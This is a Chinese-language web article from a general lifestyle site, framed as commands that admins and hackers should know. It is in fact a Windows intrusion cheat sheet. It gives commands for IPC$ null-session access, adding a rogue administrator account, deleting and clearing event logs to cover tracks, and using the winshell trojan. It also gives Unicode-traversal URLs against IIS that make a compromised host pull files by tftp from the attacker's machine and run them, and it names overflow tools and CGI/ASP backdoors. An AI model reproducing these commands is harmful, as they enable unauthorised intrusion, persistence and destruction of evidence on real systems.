如果你觉得本站还不错,为方便下次访问,可以【加入收藏】 最快知道本站更新,请订阅切换到繁體中文
百姓生活网
首页 | 时尚女性 | 家有爱车 | 妈妈宝贝 | 美食厨房 | 亲亲大自然 | 爱上摄影 | 电脑学堂 | 我爱我家 | 健康人生 | 小小书房 | 壁纸下载 | 影视评论 | 学英语 | 商业
养殖 | 种殖 | 产业信息
子 栏 目 导 航: 电脑学堂硬件资讯 软件资讯 网页设计 实战地带 互联八卦 游戏世界
您现在的位置: 百姓生活网 >> 点点滴滴 >> 电脑学堂 >> 实战地带 >> 正文
网管和黑客都必须知道的命令

作者:飘香姐姐    文章来源:y8u8.com    点击数:    更新时间:2009-5-26

与远程主机建立空管连接 net use \IP地址ipc$ "" /use:""

  以管理员身份登录远程主机 net use \IP地址ipc$ "密码" /use:"Administrator"

  传送文件到远程主机WINNT目录下copy 本机目录路径程序 \IP地址admin$

  查看远程主机时间 net time \IP地址

  定时启动某个程序 at \IP地址 02:18 readme.exe

  查看共享 net view \IP地址

  查看netbios工作组列表 nBTstat -A IP地址

  将远程主机C盘映射为自己的F盘 net use f: \IP地址c$ ""/user:"Administrator"



  这两条把自己增加到管理员组: net user 用户名 密码 /add

  net locaLGroup Administrators 用户名 /add

  断开连接 net use \IP地址ipc$ /delete

  扫尾:

  del C:winntsystem32logfiles*.*

  del C:winntssytem32config*.evt

  del C:winntsystem32dTCLog*.*

  del C:winntsystem32*.log

  del C:winntsystem32*.txt

  del C:winnt*.txt

  del C:winnt*.log

  一、netsvc.exe

  下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:

  netsvc /list \IP地址

  netsvc schedule \IP地址 /query

  netsvc \IP地址 schedule /start

  二、OpenTelnet.exe

  远程启动主机的Telnet服务,并绑定端口到7878,例如:

  OpenTelnet \IP地址 用户名 密码 1 7878

  然后就可以telnet到主机的7878端口,进入DOS方式下:

  telnet IP地址 7878

  三、winshell.exe

  一个非常小的木马(不到6K),telnet到主机的7878端口,输入密码winshell,当看到CMD>后,可打下面的命令:

  p Path (查看winshell主程序的路径信息)

  b reBoot (重新启动机器)

  d shutDown (关闭机器)

  s Shell (执行后你就会看到可爱的“C:>”)

  x eXit (退出本次登录会话,此命令并不终止winshell的运行)

  CMD> http://.../srv.exe (通过http下载其他网站上的文件到运行winshell的机器上)

  四、3389登陆器,GUI方式登录远程主机的

  五、elsave.exe

  事件日志清除工具

  elsave -s \IP地址 -l "application" -C

  elsave -s \IP地址 -l "system" -C

  elsave -s \IP地址 -l "security" -C

  执行后成功清除应用程序日志,系统日志,安全日志

  六、hbulot.exe

  开启win2kserver和winxp的3389服务

  hbulot (/r)

  七、nc.exe(netcat.exe)

  一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。

  想要连接到某处: nc (-options) hostname port(s)(ports) ...

  绑定端口等待连接: nc -l -p port (-options) (hostname) (port)

  参数:

  -e prog 程序重定向,一旦连接,就执行 (危险!)

  -g gateway source-routing hop point(s), up to 8

  -G num source-routing pointer: 4, 8, 12, ...

  -h 帮助信息

  -i secs 延时的间隔

  -l 监听模式,用于入站连接

  -n 指定数字的IP地址,不能用hostname

  -o file 记录16进制的传输

  -p port 本地端口号

  -r 任意指定本地及远程端口

  -s addr 本地源地址

  -u UDP模式

  -v 详细输出——用两个-v可得到更详细的内容

  -w secs timeout的时间

  -z 将输入输出关掉——用于扫描时

  八、TFTPD32.EXE

  把自己的电脑临时变为一台FTP服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用Unicode漏洞或telnet到肉鸡,例如:

  http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:winntsystem32文件名

  然后可以直接令文件运行:

  http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名

  九、prihack.exe是IIS的printer远程缓冲区溢出工具

  idqover.exe是溢出idq的,选择“溢出后在一个端口监听”,然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后winxp下需要打winxp。

  一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor,exe要放到cgi-bin目录下,asp放到有ASP执行权限的目录。然后用IE浏览器连接.   

发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
  • 上一篇文章:

  • 下一篇文章:
  • 赞助商链接: | 阅读过这篇文章的网友,同时还还阅读了以下几篇文章:
    传奇美国黑客:中国的插件太厉害了

    本栏目最近更新的图片文章:
    Google

    删除电信自带的工具------

    利用一个0.3V左右的废旧电

    自己组装手摇发电机

    常用电子元件基础知识(图解

    怎么用电脑机箱电源为adsl

    我用电脑电源改了个14.5v的

    用电脑电源改13.8V通讯电源

    改造电脑电源给大金刚手台
    网友评论:(只显示最新10条。评论内容只代表网友观点,请注意礼貌用语,与本站立场无关!)

    ©2005 百姓生活网 www.y8u8.com 琼ICP备13000608号 网站地图